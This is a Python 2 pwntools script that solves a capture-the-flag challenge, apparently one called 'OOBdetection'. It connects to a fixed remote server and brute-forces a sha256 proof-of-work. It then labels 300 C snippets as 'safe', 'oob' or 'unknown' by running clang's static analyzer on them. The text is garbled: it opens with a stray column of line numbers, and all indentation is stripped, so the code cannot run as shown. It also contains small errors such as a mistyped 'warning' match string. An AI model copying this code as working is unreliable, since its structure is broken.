54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
import hashlib
import itertools
from string import digits, ascii_letters
alpha_bet='0123456789abcdef'
strlist = itertools.product(alpha_bet, repeat=6)
from pwn import *
import warnings
import os, sys
from hashlib import sha256
warnings.filterwarnings("ignore", category=BytesWarning)
arch = 64
# challenge = './babyheap1'

context.os='linux'
# context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'
context.terminal = ['tmux', 'splitw', '-h']
# elf = ELF(challenge)
# libc = ELF('libc-2.27.so')

local = 0
if local:
# p = process(challenge)
pass
else:
# p = remote('223.112.5.156', '61546')
p = remote('47.98.209.191', 1337)

heapbase = None
# libc_os = lambda x : libc.address + x
# heap_os = lambda x : heapbase + x

p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x)
p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)
def debug():
# gdb.attach(p,"b* \nb* \nb* \nb* \n") #!
gdb.attach(p,"b *$rebase()\nb *$rebase()\nb* $rebase()\n") #!
# pause()

tail = ''
sha256= ''

# sha256 = input("input sha256: ")
# [+] sha256(XXXX+8sZkKP4gpQJlumyX) == 7ef07b0bb8b2fb9be8285c33992fb43b664a90deffba3cfad4d12ff4f72d373f
# [+] Plz tell me XXXX:
p.recvuntil('(XXX + ')
tail = p.recvuntil(')', drop=True).decode().strip()
p.recvuntil('== ')
sha = p.recvuntil('\n', drop=True).decode().strip()
success("tail: "+tail)
success("sha: "+sha)

xxx=''

tables='0123456789abcdef'
key = ''
def crack(hash,phash):
for a in tables:
for b in tables:
for c in tables:
for d in tables:
for e in tables:
for f in tables:
key=a+b+c+d+e+f
aa=(key+phash).decode('hex')
en=hashlib.sha256(aa).hexdigest()
if(en==hash):
xxx = key
print key
return key
key = crack(sha, tail)

success("key: "+key)
p.sendline(key)

# Welcome to OOBdetection challenge!
# You have 120 seconds to solve 300 questions.
# If you solve 300 questions, you will get the flag.
# If the program has no out of bound error, input 'safe'.
# If the program has out of bound error, input 'oob'.
# If the program has unknown variable values or other errors, input 'unknown'.
# Good luck!
p.recvuntil("Good luck!")

data = p.recvuntil("Your answer (safe/oob/unknown):",drop=True)

with open("./1.c", mode='w') as file_obj:
file_obj.write("int main()\n{"+data+"\n}")

#! clang -Wall 1.c -o 1
import subprocess

# 执行命令并获取输出和错误信息
cmd = "clang -Wall 1.c -o 1"
cmd = "clang --analyze -Xanalyzer -analyzer-checker=core -Xanalyzer -analyzer-checker=alpha.security.ArrayBound -Xanalyzer -analyzer-checker=core.uninitialized.ArraySubscript 1.c"
pp = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = pp.communicate()

# 输出结果和错误信息
# print(err)
#! 如果包含了 -Warray-bounds 就输出 oob
if 'buffer' in err:
p.sendline("oob")
elif 'warning"' in err:
p.sendline("unknown")
else:
p.sendline("safe")

#! clang --analyze -Xanalyzer -analyzer-checker=core -Xanalyzer -analyzer-checker=alpha.security.ArrayBound -Xanalyzer -analyzer-checker=core.uninitialized.ArraySubscript 1.c

i = 1
for i in range(0,299):
success("i: "+str(i))
# pause()
# 'Right!\n'
# '\n'
p.recvuntil("Right!\n\n")
data = p.recvuntil("Your answer (safe/oob/unknown):",drop=True)
# print(data)

# num_list = re.findall(' = ([0-9]+);',data)
# print(num_list)

# n_list = re.findall('n[0-9]',data)
# print(n_list)

# for i in range(len(n_list)/2):
# data = data.replace(n_list[i], num_list[i])

# print(data)

# exp = ""
# data_list = data.split(';')
# for i in range(len(data_list)-4):
# exp += str(data_list[i+3])+";"

# print(exp)
import re
# 从代码中提取n的值和数组的第一维大小
match_n = re.search(r'n\s*=\s*(\d+)', data)
match_arr = re.search(r'a\[\s*(\d+)\s*\]\[', data)
if match_n and match_arr:
# pause()
n = int(match_n.group(1))
arr_size = int(match_arr.group(1))
success("n: "+str(n))
success("arr_size: "+str(arr_size))
if arr_size > n:
p.sendline("oob")
continue

with open("./1.c", mode='w') as file_obj:
file_obj.write("int main()\n{"+data+"\n}")

import subprocess

cmd = "clang -Wall 1.c -o 1"
cmd = "clang --analyze -Xanalyzer -analyzer-checker=core -Xanalyzer -analyzer-checker=alpha.security.ArrayBound -Xanalyzer -analyzer-checker=core.uninitialized.ArraySubscript 1.c"
pp = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = pp.communicate()

if 'out-of-bound' in err:
p.sendline("oob")
elif 'warning' in err:
p.sendline("unknown")
else:
# success("err: "+err)
p.sendline("safe")

#! clang --analyze -Xanalyzer -analyzer-checker=core -Xanalyzer -analyzer-checker=alpha.security.ArrayBoundV2 -Xanalyzer -analyzer-checker=core.uninitialized.ArraySubscript 1.c

p.interactive()